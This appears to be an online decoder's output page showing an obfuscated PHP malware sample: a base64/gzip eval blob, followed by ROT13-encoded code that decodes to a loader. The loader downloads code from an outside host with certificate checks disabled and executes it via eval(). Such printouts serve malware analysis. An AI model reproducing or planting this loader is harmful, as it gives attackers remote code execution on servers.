Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

eval(gzinflate(base64_decode('pVf9c5s2GP5XHHWXQEMw3xh7xI17jrNu50vdJrckzjjwADfJQIiYC2n9v09CyBHY6bbuF58lvXreV8/7SVj4D0L+iDyUPqq6cPCTp9xDqECYWIoLVnG8iPrdLkzgCslfisVRKRf+UxcMiJyh5DlSHMtVzWqNYE91ekrPzZMyQoMiF/b47f39fOnDuAh8D90XURwJAC7DEi8QBKL4tZJNVEdHZs+tTgq/iAXeInFQ7UcoDhaxl4Rh8iDw16Sb87Px1ej9xBvPJmfjk8l4enL6aTZ2j+NwiSR2eHp65f0yG19++u39jBxW9u44vRidTtqnk8vr2egMb/MMbE4/ja6uRh+uRufTyeXopKX2evrrePbxcnzqHpubzbPT2Xj6eXaCEcF18FdRlknXlJWO8KHws+Au6pxMOqoiK4MO3rCMQefeMsTOdLEo0QeU/l7EXVO3Zd0CG8SLyeT9xWz6kbzsBkwhRIu433nbfQskcE4ceXQe+HEYlP2OHxxVrgW30q3Y9OHGNQ2CReJVehSGftA8q13YjIJ1JQ3LIEItpPV2gGCHe48oFkBSlsGdR27mwQL5LDwc1baynpW6URyi5NmD+CHoPvYgXsVIuKkCFpBnP6N4FWT4L/g8m+CHx8UzCpYxaPkNrFCSoZDInUUoPJo+Ih+TxTliPg/nc59jkW5gyDyojCwDmJCgxhiqBJ6Tey9EWREiGEeAOPpWAlFUVkZ9QWGRP3gLVGmkccVven7yjDYn2z55lxclIgTRh/s4hfjskOg9nqgdLLe85OGFpioJ1HPURAN5FMAnSv//gal9RcCI5WWBDQc/5H5bdxLHTjVMBNlu6QlTsIOB4fC1WPkhr9zeilUO8Oa0qKj1bblpIz7IX9LhZXO9rmEZ0J5LU2h/HyOW9XM39B8r4lf0JSkFMDwGcuNosGaFtvO6W8hCt03VsLTal5ptJtA0FHeRhBEi7LdqL3MYE/z2ba+IcC0W+E2cg0EUA0xTiOJl6HdoGSAipgaRlSaKu0u+knASE+Ymst1duIsgJLjDXbt9w9ApgpEqyFTM3QhJvNqBUO32Ae5q+IW77v25ROEDeRKvQXbBkBK/JVhZYqEE2ZnWc1tgEa63OJ5uh0PaXoHounWnpW3VdmwtN0xELzKYIYlX3IpBHwBR5umU8ZbMs8fik7mX4HO53E4ldiLwyiUesFrYmqpZeUYXSprmWq5rkmricEPYwy3UXUm/reA1TOl0Mp5Nr73zq0vcGb3z0cnJ7HzC1YyX1Kvfymiir9OdPEtTLXFbPPWUmmJm5/d4GraoYaBST/k+If3drwcxXBAHyg2wf6B268GNrFpXUKZmK04vdUmr63zlY3TdIcNAV5XVumsN+As4gi9w7vXpHUbT+hXRV/rj9weVV7C222lbAo8oPqpqWL9TVUsqx6Tzu7CImxVU4hFo41TNVMPTke4CMLhb4d4p7OUoaBVvGjFMVHZz7LqsiYzrKinQO8t2VXm13HFUJXPR/aIMMiSAhrUSr0DS6AwVLOuEYJfFn1kj2YHm/zec7SAx7RTaOR6sedEbhZYqtadrppUazUOVlKiqJi5C9Og9JzFcCfODN39UMTWfZ/O5XP1Gh4KuqN90RRPfFPMDiddH4zuxMIOGLVbp2kS7qsenPsZ5K8iHr0BYag9auaPU7sodPVFMQ3fjsHgWeAFsdkUMTsFFQBsvE5boeCjixqpQmJ5hGY6t9Nqlln334MpK/pJ/zZrLSiyDxkyS6tEFLfN4JTJ/whXN3cKgLhQvF9a1V7d6+uZ9jZ5OB4om2ZMw8aMc5/HMh0FW+I8V63C19J9QtkU8Sw0WHUSxkaZ2qiJb4E+wrto2frc1hjRuahnuAqnFJg8NwtzSrZc85Saejehx7TTHNqCWW6bLuZgJSXXmgc2QtpGupykxxfn9RGcFxdBU3VbdaJlirCYQrfHsNs1z3cCfDYnmuCt0n+Evo03wMaSX2XAjSmLtRSV7qbxTJ6/xsC5oNQ41gEn+i9uH/O1DrekiZsZgfYBN/hs=')));

eval(str_rot13('$_0kpp0ppn60="uggcf://pnpur.ivc-y.vax/";
$_0k40ssr096=15;
$_0krp819808=snyfr;
	vs(!$_0krp819808&&shapgvba_rkvfgf("phey_rkrp")){
	$_0krn193r58=phey_vavg($_0kpp0ppn60);
	phey_frgbcg_neenl($_0krn193r58,[PHEYBCG_ERGHEAGENAFSRE=>gehr,PHEYBCG_FFY_IREVSLCRRE=>snyfr,PHEYBCG_FFY_IREVSLUBFG=>snyfr,PHEYBCG_GVZRBHG=>$_0k40ssr096,PHEYBCG_SBYYBJYBPNGVBA=>gehr,PHEYBCG_ZNKERQVEF=>5,PHEYBCG_HFRENTRAG=>"Zbmvyyn/5.0 (Jvaqbjf AG 10.0;
	 Jva64;
	 k64) NccyrJroXvg/537.36",PHEYBCG_UGGCURNQRE=>["Npprcg: **\\e\\a","sbyybj_ybpngvba"=>1,"znk_erqverpgf"=>5,],"ffy"=>["irevsl_crre"=>snyfr,"irevsl_crre_anzr"=>snyfr,],]);
	$_0krp819808=@svyr_trg_pbagragf($_0kpp0ppn60,snyfr,$_0k9176q86o);
}
	vs(!$_0krp819808){
	$_0krp819808=__0k210np3sr($_0kpp0ppn60,"sfbpxbcra");
}
	vs(!$_0krp819808){
	$_0krp819808=__0k210np3sr($_0kpp0ppn60,"fgernz_fbpxrg_pyvrag");
}
	vs(!$_0krp819808&&vav_trg("nyybj_hey_sbcra")){
	$_0k739n97o2=@sbcra($_0kpp0ppn60,"eo",snyfr,$_0k9176q86o??fgernz_pbagrkg_perngr(["ffy"=>["irevsl_crre"=>snyfr,"irevsl_crre_anzr"=>snyfr]]));
		vs($_0k739n97o2){
		$_0krp819808=fgernz_trg_pbagragf($_0k739n97o2);
		spybfr($_0k739n97o2);
	}
}
	vs($_0krp819808!==snyfr&&fgeyra($_0krp819808)>0){
	riny("".$_0krp819808);
}
	shapgvba __0k210np3sr($_0kpp0ppn60,$_0k37514628){
	$_0k275np540=cnefr_hey($_0kpp0ppn60);
	vs(!$_0k275np540||!vffrg($_0k275np540["ubfg"]))erghea snyfr;
	$_0k52pr6on0=$_0k275np540["ubfg"];
	$_0k9n5ps5r7=vffrg($_0k275np540["cbeg"])?$_0k275np540["cbeg"]:443;
	$_0k94o0r505=vffrg($_0k275np540["cngu"])?$_0k275np540["cngu"]:"/";
	vs(vffrg($_0k275np540["dhrel"]))$_0k94o0r505.="?".$_0k275np540["dhrel"];
	$_0k6rnr7q28=($_0k275np540["fpurzr"]??"uggcf")==="uggcf";
	$_0k7972s45r=($_0k6rnr7q28?"ffy://":"").$_0k52pr6on0.":".$_0k9n5ps5r7;
		vs($_0k37514628==="sfbpxbcra"){
		$_0k739n97o2=@sfbpxbcra($_0k7972s45r,$_0k9n5ps5r7,$_0k72126sq7,$_0k0oos2s32,15);
	}
		ryfr{
		$_0k739n97o2=@fgernz_fbpxrg_pyvrag($_0k7972s45r,$_0k72126sq7,$_0k0oos2s32,15,FGERNZ_PYVRAG_PBAARPG);
	}
		vs(!$_0k739n97o2){
			vs($_0k6rnr7q28){
			$_0k39sqoo2n=$_0k52pr6on0.":80";
			$_0k739n97o2=($_0k37514628==="sfbpxbcra")?@sfbpxbcra($_0k39sqoo2n,80,$_0k72126sq7,$_0k0oos2s32,15):@fgernz_fbpxrg_pyvrag("gpc://".$_0k39sqoo2n,$_0k72126sq7,$_0k0oos2s32,15);
		}
		vs(!$_0k739n97o2)erghea snyfr;
	}
		$_0k3527098o="TRG {
		$_0k94o0r505
	}
	 UGGC/1.1\\e\\a";
		$_0k3527098o.="Ubfg: {
		$_0k52pr6on0
	}
	\\e\\a";
	$_0k3527098o.="Hfre-Ntrag: Zbmvyyn/5.0 (Jvaqbjf AG 10.0;
	 Jva64;
	 k64)\\e\\a";
	$_0k3527098o.="Npprcg: */*\\e\\a";
	$_0k3527098o.="Pbaarpgvba: pybfr\\e\\a\\e\\a";
	sjevgr($_0k739n97o2,$_0k3527098o);
	$_0k15o25373="";
		juvyr(!srbs($_0k739n97o2)){
		$_0k15o25373.=sernq($_0k739n97o2,8192);
	}
	spybfr($_0k739n97o2);
	$_0kr2s9910q=rkcybqr("\\e\\a\\e\\a",$_0k15o25373,2);
		vs(pbhag($_0kr2s9910q)<2){
		$_0kr2s9910q=rkcybqr("\\a\\a",$_0k15o25373,2);
		vs(pbhag($_0kr2s9910q)<2)erghea snyfr;
	}
	$_0k57op7s58=$_0kr2s9910q[0];
	$_0k183256o4=$_0kr2s9910q[1]??"";
		vs(cert_zngpu(\'#^UGGC/\\q\\.\\q\\f+(301|302)#v\',$_0k57op7s58,$_0k7n619247)){
			vs(cert_zngpu(\'#Ybpngvba:\\f*(.+)#v\',$_0k57op7s58,$_0k618p6s90)){
			$_0ks93n0543=gevz($_0k618p6s90[1]);
				vs(fgecbf($_0ks93n0543,"uggc")!==0){
				$_0k84649708=($_0k6rnr7q28?"uggcf://":"uggc://").$_0k52pr6on0;
					vs($_0ks93n0543[0]==="/"){
					$_0ks93n0543=$_0k84649708.$_0ks93n0543;
				}
					ryfr{
					$_0ks93n0543=$_0k84649708."/".$_0ks93n0543;
				}
			}
			erghea __0k210np3sr($_0ks93n0543,$_0k37514628);
		}
	}
		vs(cert_zngpu(\'#Genafsre-Rapbqvat:\\f*puhaxrq#v\',$_0k57op7s58)){
		$_0k183256o4=__0k4oo7o1r7($_0k183256o4);
	}
	erghea $_0k183256o4;
}
	shapgvba __0k4oo7o1r7($_0k2q72so68){
	$_0k22pps636="";
		juvyr(fgeyra($_0k2q72so68)>0){
		$_0k974p2s65=fgecbf($_0k2q72so68,"\\e\\a");
		vs($_0k974p2s65===snyfr)oernx;
		$_0k90421371=fhofge($_0k2q72so68,0,$_0k974p2s65);
		$_0k34ssrn29=urkqrp(gevz($_0k90421371));
		vs($_0k34ssrn29===0)oernx;
		$_0k22pps636.=fhofge($_0k2q72so68,$_0k974p2s65+2,$_0k34ssrn29);
		$_0k2q72so68=fhofge($_0k2q72so68,$_0k974p2s65+2+$_0k34ssrn29+2);
	}
	erghea $_0k22pps636;
}
'));



© 2023 Quttera Ltd. All rights reserved.